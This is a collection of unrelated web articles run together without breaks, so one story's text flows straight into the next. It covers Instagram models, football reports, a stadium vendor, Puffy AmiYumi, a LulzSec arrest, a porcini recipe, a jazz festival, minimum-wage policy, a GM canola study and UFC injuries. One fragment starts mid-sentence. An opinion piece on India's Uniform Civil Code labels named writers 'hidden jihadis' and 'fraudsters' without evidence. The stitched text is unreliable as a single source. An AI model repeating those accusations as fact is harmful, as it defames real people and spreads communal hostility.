Between Supe and Instagram 'we make between $15,000 and $17,000 a month each. In total it is around $30,000 together', she added.
Her twin sister Dana said: 'We have the most famous bottoms on Instagram and the bottom sells a lot.
The sisters takes selfies on their bed on April 30, they take up to 150 pictures of themselves every day
Nadia and Dana enjoy the sunshine by the pool where they live in Miami Florida. They are looking to expand their business
'We've had a lot of work offers because of it. We are the selfie queens and we've made a successful business out if it.'
Both entrepreneurs have not just had a lot of work done on their bums.
The pair have also had breast enhancements, lip fillers, porcelain veneers and have regular botox sessions.
Nadia posing for a modelling shot. She has recently begun posting on the 'Supe' app, where users pay for pictures and video clips
Nadia said the app, which has only existed for two months, is similar to SnapChat but each image or video has a price
But the women insist they still had sizeable posteriors to start with.
Nadia said: 'Our bottoms were already fatty. We always had bottom - it was never a difficulty to have bottom, but six months ago we did a fat transfer with a really good doctor in Columbia and it has given us a positively perfect one.
'We did the fat transfer because we are vain. We are vain women and the more surgery you have the more you want.'
Dana taking selfies at home. Both of the women insist they still had sizeable posteriors to start with
Dana claims they were blessed with their curvy bodies due to their Latin and Brazilian blood making it easy for them to keep their bottoms well-toned
Dana added: 'We were blessed with having a curvy body because of Latin and Brazilian blood, So it's easy for us to keep the bottom well-toned.'
The twins claim being seen as sexual objects by men is in fact a 'blessing', although they also want to convey a positive image for women too.
Nadia said: 'At the beginning I felt bad, like I was a sexual object for men but one day I saw it from the other side and thought if the men were not like this I wouldn't have a job.
The sisters had to transfer three kilograms of fat from other areas of their bodies to adequately enlarge their bottoms
Working out: The sisters say they now see the fact they are viewed as sexual objects by men as a 'blessing'
'Now I see it as a blessing and to be honest I am thankful to them – it is a positive thing.
'Even if people don't believe it, our idea is also to help women be able to lift their self-esteem and to give them a hand too. We can give tips to other women.'
Yet not everyone online is a fan and the twins say they have received abusive comments.
The duo insist that they want to help women as well aiming to lift their self-esteem and give them a hand
One of Dana's selfies: Not everyone online is a fan and the twins say they have received abusive comments
Nadia said: 'We have had problems with 'haters' lots of times. A lot of the time without knowing you they say you don't have brains.
'The envy exists – it bothers them that we are superficial but because of that we live in Miami beach and we are happy.
Dana added: 'We feel very secure about who we are as people. We are upright citizens and clever women.
Nadia reveals her dramatic transformation: She says they have had problems with 'haters' lots of times
The twins say that they still keep up a private life outside of taking hundreds of pictures for their business
'One thing is what we show in Instagram and another is our private and personal life. This is a business - our image is a business. Our body is a work company like any other.'
Currently both Dana and Nadia want to maintain the amount of money they make for a further six months while they wait for a big project.
They say they know their image 'isn't going to last forever' so plan to expand their business as well as their bottoms.
Nadia said: 'We'll keep modelling while we can because this is what we like to do and we know we also have talent.'Chris Powell has been in charge at Derby County since Nigel Pearson was suspended by the club on Tuesday
Derby County missed the chance to secure a second win since Chris Powell took temporary charge as Reading grabbed a late equaliser.
Matej Vydra blasted Derby ahead as Cyrus Christie's free-kick hit the Reading wall and fell into his path.
Vydra had a header well saved by Ali Al-Habsi soon after in a game of few clear-cut chances.
George Evans hammered home from six yards in the final minute after Roy Beerens' corner was not cleared.
Former Charlton boss Powell, who served as Nigel Pearson's number two at Derby, has taken over after the manager was suspended pending a club investigation into his behaviour.
He saw his side almost go behind in first-half stoppage time as Yann Kermogant's powerful header was well saved by Scott Carson.
But Vydra scored for the first time since moving to Derby for a club-record fee at the end of August, flicking home after Christie's poor free-kick.
Had Vydra converted his header 12 minutes later, Powell would have been celebrating a perfect record in charge of Derby, having won at Cardiff on Tuesday.
But Evans capitalised after the away defence made a mess of clearing Beerens' corner.
The Rams, who have won only once in their past 10 games, are two points above the relegation zone, while Reading are eighth.
Reading manager Jaap Stam:
"I was happy with a point at the end. We knew that we would have to be patient and we were patient.
"After going 1-0 down, it was very difficult to get back into the game because we knew Derby would be dropping back even more and waiting for the counter-attack to score a second goal.
"We had to be aware of that and eventually we scored the equaliser, which I think we deserved. I was happy with that.
"We've shown before that we can come back. We're making good progress, I'm sure of that. It's not easy to build a team in three months."
Derby caretaker manager Chris Powell:
"It's been a good week for us in light of what has gone on.
"Yes, it's been a turbulent week. But I will give the players all the credit in the world for how they've responded.
"We've got around the players, we've cajoled them, we've kept their spirits up. Their morale has been first class."
On the future of the managerial situation at the club: "I've had no indications from the chairman about my future.
"My future was take the game on Tuesday and then prepare for today. And that was it.
"Now we have an international break. I'm sure the club will decide what way to go in the next week or two."OAKLAND (CBS SF) — Raiders ended their season Sunday with a disappointing 3 and 13 record leaving fans without a whole to cheer for. But there’s something else that has many fans literally up on their feet dancing at the Oakland Coliseum: a man who goes by the name of Mr. Kettle Corn, or more commonly, Crazy Legs Howard.
He’s a fan favorite, not because of the kettle corn he sells, but rather because of his big moves.
“I love dancing,” says Crazy Legs Howard. “Dancing is fun. I love sports and music. So it’s a combination of all three of them.”
He’s freestyled and danced all 12 years of selling kettle corn. And at 74, Crazy Legs is one the oldest stadium vendors in the country.
“I’ve been made a sandwich more often than not,” he says. “A lady in the front and a lady in the back, doing the dirty boogy and the whole thing.”
Fans say he provides much needed entertainment for a losing team. But this could be his last game. Arthritis in his left leg is increasingly making it painful to walk.
“If I can’t go up and down the aisles, then I can’t work,” he says, hoping a few months of rest will ease the pain and let him return next season.
Crazy Legs says he should know around March or April if he’ll return to work as a vendor at Bay Area stadiums.Michigan’s introduction to the Air Jordan era on Sunday night made quite the splash. The event in downtown Ann Arbor appropriately ushered in the beginning of the new apparel deal.
The only thing missing was the football jerseys. Now, however, those are here, too.
Michigan unveiled the first Air Jordan football jerseys, which will be the program’s new look in 2016:
There you go pic.twitter.com/tyCg7Ob8Nr — Nick Baumgardner (@nickbaumgardner) August 2, 2016
FIRST LOOK: Michigan's new Jordan football jerseys. pic.twitter.com/0RJRWjftq8 — Brad Galli (@BradGalli) August 2, 2016
Here’s a more complete look in the non-neon lights:
The unveiling was on Tuesday in front of an invitation-only crowd in Detroit on Tuesday. The jerseys will be available for purchase beginning on Aug. 6 at MDen |
, sold-out tours, and a total of 20 million CDs sold to date.
Over the course of their 20-year career, Puffy AmiYumi have released 11 full-length albums, 37 singles, 3 greatest hits albums, 5 special project albums, and 5 North American albums. Puffy AmiYumi have won numerous prestigious awards in Japan including: “Best Newcomer” at the Japan Record Awards (equivalent of the Grammys) and “Pop Album of the Year” at the Japan Gold Disc Awards. Most recently, Puffy AmiYumi have been scheduled to participate in the 67th NHK KŌhaku Uta Gassen taking place on New Year's Eve 2016.
Their fame also extends to the US, where they are well known for performing the theme song to "Teen Titans" and also launching their namesake series, "Hi Hi Puffy AmiYumi" in 2004 on Cartoon Network, which aired in over 110 countries worldwide.
Still at the forefront of pop culture in Japan, Puffy AmiYumi are now celebrating their 20th anniversary with more surprises up their fashionable sleeves.
PUFFY official websites:
http://puffy.jp (Japanese)
http://puffyamiyumi.com (English)Increasingly, it appears to me that fraudsters, charlatans and hidden jihadis are posing themselves as liberal Muslim intellectuals in India. On the issue of Uniform Civil Code (UCC), some articles and tweets tend to reduce the UCC to a debate between uniformity and diversity, with the purpose being inevitably to do a favour to Islamic Sharia. Their running argument is also that the UCC is a blueprint for the Hindu rule, not a blueprint for the universal values of liberty and equality.
On December 15, historian S. I. Habib tweeted an article whose singular objective was to oppose the UCC. Habib’s tweet contained these words: “No reason to impose Uniform Civil Code on Muslims, but a legal basis to abolish triple talaq.”[1] These words are not Habib’s but constitute a subtitle to the article, written by A.G. Noorani, who seems to have decided to use his constitutional expertise to the cause of Sharia rather than human freedom.[2]
Habib can walk away by saying that he does not endorse Noorani’s intellectual position, especially since many people tweet opposing views. However, some people questioned Habib for his tweet and his responses do make it clear that he does endorse Noorani’s position. Artist Punminder Kaur, resorting to sarcasm, responded to Habib: “And we have to hear these intellectuals (like Habib) on prime time giving lecture(s) on secularism.”[3] To Kaur, Habib retorted: “What has secularism to do with this? Homogeneity in any field (is) not possible in a heterogeneous society.”[4]
If one were to speak of a person’s IQ, this is very unfortunate that Habib, the self-called historian of science, cannot see secularism and universalism in the UCC. Habib’s original tweet also got a response from one Mukesh Bhardwaj, who tweeted: “According to this gentleman Sharia will (be) good for India’s diverse culture.”[5] To Bhardwaj’s tweet, Habib gave an argument: “If this is what… (you) conclude after reading the article then I can only blame your IQ.”[6] I have reviewed Habib’s timeline, and it doesn’t appear that his own IQ is any better than merely opposing the UCC without any arguments in favour of rights and scientific thought.
To Habib’s original tweet, prominent Islamist editor Shahid Siddiqui too responded: “UCC is not suitable for a diverse country like India. It will divide instead of uniting the nation.”[7] Siddiqui is editor of the Urdu-language weekly Nai Duniya. He often appears on television and takes liberal-sounding positions, which are contrary to the positions in his weekly newspaper, which justifies pro-jihadi arguments, which I have discussed in details elsewhere.[8] His newspaper has been known for injecting religious orthodoxies and conspiracy theories into Muslim minds. He speaks of “uniting the nation” in his tweet while his paper is separating Muslims from India’s mainstream.
Habib and Siddiqui, much like explicit Islamists associated with the Jamiat Ulema-e-Hind, are intentionally diverting the debate on UCC away from the constitutional rights of equality, liberty and non-discrimination. Their singular objective seems to be to mislead public opinion, so that pro-Sharia forces continue to thrive in modern India. Writers and scholars like them are the first line of defence for Islamist clerics, who promote religious orthodoxy, women’s subjugation and religious discrimination. The UCC is not about religion, not even about culture. The UCC is a debate about constitutional rights and universal values for every man and woman.
A.G. Noorani’s article, which was published by The Indian Express, opens with a bold dishonesty: “There is absolutely no case for enacting a uniform civil code.” The facts are otherwise. As a constitutional expert, Noorani must know that Article 44 still exists in the constitution. It says: “The state shall endeavour to secure for the citizens a uniform civil code throughout the territory of India.” Noorani’s second sentence declares that Modi’s speech at Mahoba in UP on October 24 “professing profuse and unprecedented concern for ‘my Muslim sisters’, impressed none.” Blindsided by his hate for Modi, Noorani cannot see that semi-educated Muslim women are knocking at the Supreme Court’s door to protect their fundamental right to equality. Here is a question for Noorani: how do you know that Modi’s speech “impressed none?”
In the second paragraph, Noorani launches an attack on the Bharatiya Janata Party for not opposing Article 371A on “Naga customary law”, but conveniently ignores the fact that any UCC, whenever it materialises, will ultimately remove all personal laws that conflict with the fundamental rights granted by the constitution. In the third paragraph, Noorani defends, by deliberate omission, the cause of Sharia by arguing that Muslims were offered “respect for their personal law” by Nehru and Gandhi, who also promised “protection by specific provisions” for Muslims in the constitution. If this argument is correct, then Noorani is a hidden jihadi in our social midst, who will also justify Gandhi’s support for the Khilafat Movement, which stood for Sharia rule.
Noorani’s crime is that he is writing over 1,050 words to justify Sharia in India. He quotes Shiv Sena leader Uddhav Thackeray as saying that the BJP “should first announce that this country is a Hindu rashtra and impose the uniform civil code.” Noorani’s clever use of Thackeray’s statement is meant to hide his own love for Sharia rule, and shows complete disregard for constitutional ideals of equality, liberty and women’s rights. He thinks that the UCC’s goal is to “obliterate Muslim identity.” Noorani’s intellectual dishonesty is that he is presenting the UCC in terms of cultural identity, whereas the UCC’s goal is not to change people’s lifestyles, but to uphold their constitutional rights when they come in conflict with personal laws.
“Hence, the Muslims’ opposition (to UCC). It is the lust for uniformity that alienates people,” writes Noorani and I do not know if he understands the political meaning of lust. Lust, which being a private feeling, if defined in the context of his article, will essentially mean Noorani’s lust for Sharia rule in India. The truth, he ignores is this: Muslims have chosen separatism. In the 1857 war, Muslims and Hindus fought together, the former for the revival of Islamic rule. After the war, Muslims missed two historical opportunities – as reminded by Maharashtra-based reformer Hamid Dalwai – to join the national mainstream. The first was the educational movement led by Sir Syed Ahmed Khan, which began in opposition to Hindus; and the second was the freedom movement during which Muslims chose a Shariah state in Pakistan.
After Independence, numerous Hindu Islamists – of whom Gandhi was the prime example, since he had supported the Khilafat Movement – fostered separatism by offering quota, by causing Hindu-Muslim riots to win votes and by establishing minority wings of political parties. It is not surprising that in his article, Noorani cites the statements of many Hindu Islamists, who supported Sharia principles and quoted the Quran – rather than the Indian constitution – in their judgements regarding Muslim women’s rights. Unfortunately, Noorani recommends Sharia’s criminal law in India by arguing that a “small UK has two systems of criminal law.”
It suits the hidden jihadi in Noorani to cite justices V.R. Krishna Iyer and Baharul Islam for quoting the Quran, not the constitution, in their judgements. In this country, unfortunately many judges do quote religious texts, not the constitution, when questions about women’s rights and equality are raised. The interesting point is that Noorani quotes these justices as if their word is the word of god, non-negotiable for the democratic age. There are Islamist groups that will find support for Noorani-like intellectuals. For example, the Bharatiya Muslim Mahila Aandolan (BMMA), which runs parallel Sharia courts in India, masquerades as a women’s rights group.
Noorani also has an objection to “national integration” and therefore, he belongs to the camp of prominent Muslims, who are fostering Islamic separatism, which once led to the partition of India. He also thinks that the “modern trend is acceptance of diversity.” As if he is emerging from an elementary school, Noorani cannot understand, or understands, but pretends not to, that the UCC is not about diversities in people’s lifestyles and dresses, but about the universal values and rights of individuals. Identities can be diverse, but the rights to liberty, equality and non-discrimination are achievements of rational thinking and secular movements worldwide.
Unfortunately, the word “uniform” in the Uniform Civil Code is being misused by such writers to advance their love for Sharia. The “uniform” in the UCC is meant as a uniformity and equality in terms of rights available to all the citizens. Even secularism is the rational spirit behind the UCC, a point Habib needs to learn quickly. Contrary to Noorani’s arguments, the UCC is not meant to impose lifestyles. Muslims can continue to offer prayers in mosques, go for Hajj or fast during Ramzan. Similarly, members of other religious communities can adhere to their lifestyles and religious practices. The UCC is meant to uphold the constitutional rights of liberty, equality and non-discrimination, when these rights are denied to a citizen for absolutely any reason.
In November, I had a meeting with Maulana Mahmood Madani of the Jamiat Ulema-e-Hind in Goa, where we discussed the personal law issues. I asked Maulana Madani about the UCC to which he said, we will talk about it when the government brings it, since it relates to other communities as well. I asked him: So, why is it that the Jamiat Ulema-e-Hind is organising protest meetings almost every week across India, especially in parts of Maharashtra, against the UCC when its specifics are not yet available? Maulana Madani had no answer to this question. Much like Maulana Madani and his brand of Islamic clerics, Muslim writers like A.G. Noorani, S. I. Habib and Shahid Siddiqui too have launched attack on the UCC even without knowing what its specifics would be. Their intention is clear. This is their intellectual dishonesty in public space. If they are honest, they should say this: let the government present the specifics of UCC first, then we will discuss.
The fundamental objective behind the UCC is the protection of the rights of Indian citizens, irrespective of their religious beliefs and identities. Due to these concerns, I drafted with assistance from two friends Satya Prakash and Siddharth Singh a UCC within the broader framework of a Universal Bill of Rights for the Indian Citizen (Ubric).[9] On November 30, 2016, we put this draft UCC in public domain for wider discussion. This is the first draft UCC, since the constitution came into force in 1950. It has 12 clauses, which seek to protect the rights of Indian citizens irrespective of their religious and other identities.[10] These twelve clauses affect neither the lifestyles nor the religious identities of any community. If A. G. Noorani has even an ounce of intellectual honesty, he should spend his legal acumen and draft his own UCC for all Indians, or publicly declare himself a jihadi out to advocate Sharia rule in India. This great country of 1.3 billion people needs to know who we are dealing with.
Endnotes and References
[1] https://twitter.com/irfhabib/status/809249391978561536, December 15, 2016.
[2] http://indianexpress.com/article/opinion/columns/triple-talaq-uttar-pradesh-elections-islam-modi-abolition-mizoram-special-status-4427245/, December 15, 2016.
[3] https://twitter.com/punamChoudhar12/status/809266416688001024, December 15, 2016.
[4] https://twitter.com/irfhabib/status/809267870404227072, December 15, 2016.
[5] https://twitter.com/inderjeet12377/status/809362779379552256, December 15, 2016.
[6] https://twitter.com/irfhabib/status/809365551994662912, December 15, 2016.
[7] https://twitter.com/shahid_siddiqui/status/809251699932045312, December 15, 2016.
[8] For example, read the following on Shahid Siddiqui’s justifications of jihadism in India: i) http://www.openthemagazine.com/article/politics/in-response-to-zafarul-islam-islamist-editors-are-indeed-radicalising-indian-muslims; ii) http://www.newindianexpress.com/opinions/2014/oct/09/Fanning-Minority-Fears-669548.html; and iii) https://www.memri.org/reports/special-terrorism-and-islam-issue-indian-urdu-weekly-accuses-hollywood-facilitating-us
[9] http://indiafacts.org/statement-draft-uniform-civil-code-indian-citizen/, November 30, 2016.
[10] http://indiafacts.org/wp-content/uploads/2016/11/Universal-Bill-of-Rights-for-the-Indian-Citizen-Working-Draft.pdf, November 30, 2016.
Disclaimer: The facts and opinions expressed within this article are the personal opinions of the author. IndiaFacts does not assume any responsibility or liability for the accuracy, completeness, suitability, or validity of any information in this article.A 23-year-old Arizona man arrested on Thursday in connection with the hack of Sony Pictures Entertainment last May was a model student who saw himself one day defending networks at the Department of Defense and the National Security Agency.
Wired.com’s Threat Level, the Associated Press, and other news outlets are reporting that Tempe, Ariz. based Cody Andrew Kretsinger is believed to be a member of the LulzSec group, an offshoot of the griefer collective Anonymous. According to the indictment against Kretsinger, he was involved in executing and later promoting the high-profile and costly attack on Sony’s networks. Sony estimates that the breaches would cost it more than $170 million this year.
Kretsinger is a network security student at Tempe, Ariz. based University of Advancing Technology, according to Robert Wright, director of finance for UAT. A cached page from UAT’s Web site shows that Kretsinger was named student of the month earlier this year. That page, which indicates Kretsinger was to graduate from the institution in the Fall semester of 2011, includes an interview with the suspected LulzSec member. In it, Kretsinger says he would like to work at the DoD after graduating.
Where do you want to work after graduation?
“I hope that I’ll be able to work for the Department of Defense. From what I hear, they’re pretty good at what I want to do.“
Where do you see yourself in 5 years?
“Traveling, doing Network Security as a profession with the Department of Defense. While I wouldn’t mind being a penetration tester, I think it’s a lot more fun to try to build and secure a network and its devices from the ground up. I suppose I wouldn’t mind being in management, either.”
What’s the ultimate dream for your life?
“Good secure job, great family, maybe a ’64 GTO or something to that effect. I think a job with the NSA or Department of Defense is my ultimate dream.
I hope that I’ll be able to work for the Department of Defense. From what I hear, they’re pretty good at what I want to do.”
Kretsinger may have a difficult time finding work in the public sector. In June, LulzSec claimed responsibility for hacking into computers at the Arizona Department of Public Safety’s computers and releasing hundreds of law enforcement files. The hacking group also claimed to have breached the websites of the CIA and the U.S. Senate.
Read the rest of the interview at this link cached by Google. A copy of the interview is saved as an image file above.
Tags: Andrew Kretsinger, Associated Press, Department of Defense, Lulzsec, national security agency, Sony Pictures Entertainment, University of Advancing Technology, wired.comThis post is dedicated to the beautiful king bolete Boletus edulis. We found a few gorgeous young specimens while crawling through the bramble in the Oregon dunes.
In my previous post about the Queen bolete I mentioned that you can identify boletes beause they have brown bun shaped caps, tubes instead of gills, and fine reticulation on the upper part of their stems. They are super buttery and delicious and add an amazing flavor to any creamy dish.
Below is another recipe courtesy of my mycology buddy Roo! Roo made a delicious vegetarian porcini gravy to serve on top of biscuits and mashed potatoes at a dinner party.
Luckily, the porcinis were amazingly maggot free! They were small but we were lucky and got them nice and young before they had time to attract bugs. Roo chopped them to a nice even dice and set them in a bowl. The first step of the gravy is to chop up an onion and a bunch of garlic.
Then you sauté it in A LOT of butter.
Once the onions and garlic are starting to brown add the mushrooms.
OMG yum this looks so good! I want this in my mouth now!
At this point add a handful of flour.
Stir it up with the flour for a while until the flour finely coats the ingredients.
Then start slowly adding in vegetable stock letting it incorporate little by little as you stir so the gravy does not get clumpy.
Add the broth slowly and keep stirring for a few minutes.
Add broth until the gravy reaches the desired consistency. Then let it simmer on the stove for 20-30 minutes to let the flavors develop.
This potluck was amazing and had so many delicious foods! Here is my plate loaded up with goodies with the porcini gravy covering my mashed potatoes! Yum!
Ingredients:
porcinis – as many as you can find!
1 onion
5 garlic cloves
half a stick of butter
handful of flour
1 pint vegetable broth
Sauté 1 onion and 5 garlic cloves in half a stick of butter, then add the porcinis and sauté until they released their juices. Then add a handful of flour to make a roux, and brown the flour (add more butter if needed). Then slowly added about a pint of vegetable broth, stirring in each addition thoroughly. Then just let it simmer for ~30 min or so, to let the flavors blend. Thanks to Roo for the recipe and professional photographer Brian Jones for most of the cooking photos!Drummer, composer, producer and Berklee professor Terri Lyne Carrington is out to save jazz. According to her, music is the driving force of inclusivity, multiculturalism and community building.
To that end, she organizes the annual Berklee Beantown Jazz Festival. This year, the musical takeover of the South End happens on Saturday, Sept. 30 (from noon to 6 p.m.). The festival is free and features high caliber musical acts from around the globe.
If every community did this, she told me, “then we would have world peace. The music helps to bring people together, helps them to forget about their differences and is a form of non-verbal communication.
“Free concerts are important because they give back to the community” Carrington said, “I think it is a great way to promote cultural exchange, goodwill, good music and to expose the music to people that ordinarily may not go to a club or concert hall to hear it — or buy a ticket to hear it. Exposure is important so that we garner more jazz fans, for the longevity of the music and American culture.”
Indeed, free international jazz festivals are few and far between. But with the institutional backing of Berklee and a grant from the National Endowment for the Arts, Beantown consistently brings lineups worthy of major festivals like Newport or Monterey.
Without needing to worry about ticket sales, Carrington has the opportunity to introduce new names and curate the concert for the community: “I always try to consider the audience and the cultural and ethnic diversity they represent. I try to reflect that with the music choices as well. Something for everyone, while still keeping it a ‘jazz’ festival.”
Carrington gave me a rundown of some acts she is looking forward to this weekend (and here's the full lineup):
Jazzmeia Horn
Vocalist Jazzmeia Horn lives up to her name. This 26-year-old has already risen to the top in major jazz competitions and festivals, just released her first album on Prestige, and is now recording for Concord Music.
Carrington says, “She is an amazing vocalist that reflects the great Betty Carter as well as contemporary singers and soul singers from the music of her generation. She is someone not to miss.”
Her sense of time is particularly impressive. In this video from her winning performance in the Thelonious Monk Institute of Jazz competition, her nuanced and agile rhythms float over the rhythm section and masterly land and cadence in the just the right places to enforce a sense of swing.
Oscar Stagnaro and the Peruvian Tinge
Carrington met the "fantastic and well respected bass player" Oscar Stagnaro playing with Paquito D’Rivera’s band. Stagnaro makes his way around many styles from jazz and fusion to Latin, Brazilian and South American music, but for this performance he will be showcasing music from his home country Peru.
Stagnaro has played a significant role in developing the style of Afro-Peruvian Jazz. He incorporates elements of the festejo genre into rhythmically animated improvisations on electric bass.
In this video he plays solo, creating variations on main themes and spontaneously reaching moments of exuberant melodic complexity.
Camille Thurman and the Darrell Green Trio
Versatile and virtuosic, Camille Thurman can jump from blowing rapid fire bebop lines on the tenor to singing and riffing with a sharp sense of rhythm over bluesy standards.
At Beantown, Thurman will be joined by drummer and composer Darrell Green. The group, which Carrington called from New York, will likely play a selection of up tempo, modern pieces such as Thurman’s “Origins”:
As well as jazz standards like “September in the Rain,” featuring Green’s laid-back swing brush-work and Thurman’s melodic and clearly accentuated scatting:
Lizz Wright
“Lizz is like a sister to me, so I am very excited to have her here” Carrington says of jazz and R&B vocalist Lizz Wright. Wright is the artist-in-residence for the festival this year, so she will work for a few days with Berklee teachers and students to come up with a specially curated show.
Wright’s projects often touch on deeply personal matters, as is the case with her most recent album “Grace,” released this September. Born in a small town Georgia, Wright’s relationship with her home was challenged by recent political tensions. She told NPR’s Jewly Hight: “I need to remember what I know to be my home... and the way people relate and the way Southern people work, the way they cooperate, the way they're in tune with the earth. I need to study that right now for my own well-being, because I know the truth. I know my life."
Whether or not she brings these subjects to Beantown, we know we can count on Wright’s exquisite voice and interpretation, showcased here on her rendition of Nina Simone’s “Seems I’m Never Tired Lovin’ You”:
Additional Highlights
Other acts adding to the variety of music represented at the festival are Kina Zoré, a Boston-based Afro-pop group, and Emily Estefan, Berklee graduate and daughter of Gloria and Emilio Estefan. The Blue Man Group will be hosting their fourth annual Boston Drum-Off. Five finalists from across New England, including three Berklee students, will compete in a live performance.
The drum-off is another example of Carrington’s efforts to reach and incorporate the community through music. Whether you find yourself touched by scat singing, Peruvian beats or the drumming, Carrington hopes the music will impart meaning: “The sound waves really do heal and the airwaves are sacred — meaning when you have a chance to talk to someone, there is a responsibility do something inspiring, something good.”
The Berklee Beantown Jazz Festival is on Saturday, Sept. 30 on Columbus Avenue in Boston from noon to 6 p.m.WASHINGTON, March 26 (Reuters) - The White House said on Wednesday raising the minimum wage for workers who receive tips would disproportionately benefit low-income women and help close the gender pay gap in which men earn higher pay than women.
The federal minimum wage for workers who receive tips is $2.13 an hour - well below the minimum wage of $7.25 an hour. Even though employers are required to make up any shortfall between the tipped minimum and the standard minimum if gratuities fall short, one in 10 workers earn less than the minimum wage, the White House said.
“This provision is difficult to enforce,” the White House Council of Economic Advisers said in a report. The president has asked Congress for an 18 percent, $41 million increase in funding for Department of Labor Wage and Hour division investigators to hold employers to the law.
The federal tipped minimum wage has remained at its level for more than 20 years, the White House said. The president supports raising the full minimum wage to $10.10 an hour and the tipped minimum to $4.90 by 2016 and eventually to 70 percent of the full minimum wage.
Such a rise would predominantly benefit women, the White House said. Of the 3.3 million workers in tipped occupations, about 2 million are restaurant servers, 70 percent of whom are women.
President Barack Obama’s efforts to raise the minimum wage are unlikely to be taken up in the Republican-led House of Representatives, where Speaker John Boehner has argued that raising the minimum would hurt, not help, low-skilled workers because it could force employers to cut jobs.
Obama has highlighted efforts to improve economic opportunities for women in recent speeches, such as last week when he told an audience at a community college in Florida that he wants to take steps to raise pay for women, who make up a big share of the minimum-wage workforce.
“People naturally think about whether women are breaking through glass ceilings and making great strides and achieving the same kind of significant goals as men,” CEA member Betsey Stevenson told reporters. “But equally, it’s important to figure out how women are doing at the bottom.”
The president is also hoping to rally women to support Democratic candidates as his party tries to prevent Republicans from taking over control of the Senate in elections this fall. (Reporting By Mark Felsenthal; Editing by Bernard Orr)The potential health effects of meal and oil processed from seed of genetically modified (GM) canola plants (OECD unique identifier: DP-Ø73496-4; hereafter referred to as 73496 canola) containing an insert that expresses the GAT4621 protein conferring tolerance to nonselective herbicidal ingredient glyphosate were evaluated in a subchronic rodent feeding study. Sprague–Dawley rats (12/sex/group) were administered diets containing dehulled, defatted toasted canola meal (DH meal) and refined/bleached/deodorized canola oil (RBD oil) processed from seed of plants that were untreated (73496), sprayed in-field with glyphosate (73496GLY), the non-transgenic near-isogenic (091; control), or one of four commercially available non-GM reference canola varieties (45H72, 45H73, 46A65, 44A89). All diets were formulated as a modification of the standard laboratory chow PMI® Nutrition International, LLC Certified Rodent LabDiet® 5002 (PMI® 5002). DH canola meal and RBD canola oil replaced all commodity soybean fractions typically incorporated in PMI® 5002. No toxicologically significant differences were observed between the test and control groups in this study. The results reported herein support the conclusion that DH meal and RBD oil processed from seed of 73496 canola are as safe and nutritious as DH meal and RBD oil processed from seed of non-GM canola.Well that was frustrating. The Galaxy finally got their shooting boots on, with some good movement through midfield by Boateng and Alessandrini, but after being profligate in front of goal they were ultimately undone by Vancouver’s speed.
After watching LA plod through 2016, not sure what to make of this game. On one hand, the Galaxy had ample opportunity to put this game away. Jermaine Jones missed what should have been a goal, and Emmanuel Boateng had a shot that whistled just wide of the post. On the other hand, the Galaxy should have been down early with what looked like a penalty given up by Jelle Van Damme, and they gave up 10 (!) shots on goal. That’s a recipe for disaster, and that’s ultimately what did them in (along with adventures in goalkeeping from Diop).
A few positives even in light of a 4-2 loss: Romain Alessandrini finally looked like he got the creativity going, Gyasi Zardes is back, and Emmanuel Boateng had a good game minus a few errant passes.
A few negatives: Giovani Dos Santos was missing in action, Diop made two bonehead decisions, and Joao Pedro still doesn’t look good.
All of that is reflected in the player ratings:
Excellent!:
Romain Alessandrini - Finally. This is the guy that the Galaxy paid DP money for. With two goals he had a good night, and his set pieces finally look consistently dangerous. He was a creative fulcrum in midfield, and though his final passes could have been better in the final third, his movement was excellent and his finishing golden. He also tracked back quite a bit with some important defensive play. The Galaxy needed this after losing Sebastian Lletget for the season.
Good:
Emmanuel Boateng - His speed was welcome to help the Galaxy compete against Vancouver’s speedsters. He justified his start after delivering a stellar assist to Alessandrini, and overall being a pest down the left hand side. Missed a goal of his own by inches.
Jermaine Jones - Was part of a Galaxy crew whose passing game wasn’t the best (the Galaxy normally have a passing accuracy percentage 80%+, yesterday it was 75%). However, he still had a lovely cross field assist to Alessandini and another key pass. He should have had a goal to complete his night, but missed wide right with a terrible finish. Defensively stuck in when Pedro goes missing.
OK:
Jack McBean - was part of the sequence on Alessandrini’s goal and was credited with the secondary assist. But he should be on the bench with Zardes healthy.
Ashley Cole - got forward to good effect, but was also part of fullback duo that was absolutely beat by Vancouver’s speed (and in his case, the 16 year old Alphonso Davies). That said, had a couple of crucial interceptions near the goal line - one of them after his own error - that saved the Galaxy from being more in the hole.
Daniel Steres - Part of a backline that was caught upfield one too many times. But not personally responsible for any goals. That said, absolutely miserable boot ball upfield.
Poor:
Clement Diop - had two absolutely stellar saves. However, he took all of that away and more by inexplicably wandering out of goal not once, but TWICE. The second time he was bailed out by his defense, but you wonder about his decision-making. Yes, he’s more aggressive than Rowe, but against the Whitecaps that proved to have a downside.
Joao Pedro - responsible for the third goal of the night with an absolutely lazy pass. Not enough defensive actions in midfield and two lost tackles. Passing game better than in previous weeks, but if he’s going to play defensive midfielder he can’t have the lazy passes to nowhere.
Nathan Smith - better than Garcia offensively so should be playing, but tonight was a nightmare for the young man. Vancouver repeatedly abused him down the right hand side all 90 minutes, leaving him in their dust.
Jelle Van Damme - uncharacteristic bad night for the centerback. Gave up what should have been a penalty, and had some errant passes of his own (even worse than Steres). Caught upfield as part of LA’s inexplicable high line against Vancouver’s speed.
Giovani Dos Santos - couldn’t tell he played. Going to chalk it up to his first game back, but if he continues like this, the Galaxy are throwing money into a hole. That said, I was surprised that he had three key passes. The Galaxy need more from him.
Curt Onalfo - adding the coach going forward. Why did LA play such a high line against Vancouver? Is Diop really ready for primetime? And Cole may have been tired, but why sub on a leftback when the Galaxy were losing? Husidic would have been a nice sub when the Galaxy midfield was being overrun.
Subs:
Gyasi Zardes - Nothing much in nearly half an hour, but it’s his first game in ages.
Bradford Jamieson IV - was bright in his few minutes and generated a key pass as one of his two touches.
Dave Romney - had no business being on the pitch with the Galaxy a goal down.The injury list to UFC 194 was extensive, and the show's star Conor McGregor led the way. McGregor was one of nine fighters to land a potential six-month medical suspension, according to information released to MMA Fighting on Monday by the Nevada Athletic Commission.
McGregor knocked out legendary featherweight Jose Aldo with a left hook in just 13 seconds to become the new UFC champion in the night's main event, but now must get his left wrist cleared before returning to active competition.
He joins a list that includes new UFC middleweight champion Luke Rockhold (left foot/ankle), former titleholder Chris Weidman (both feet), Ronaldo Souza (left forearm), and Urijah Faber (left knee, right ankle, left thumb), among others.
UFC 194 took place Dec. 12 at the MGM Grand Garden Arena in Las Vegas, NV. The event's main card is expected to be one of the highest-selling pay-per-views of 2015.
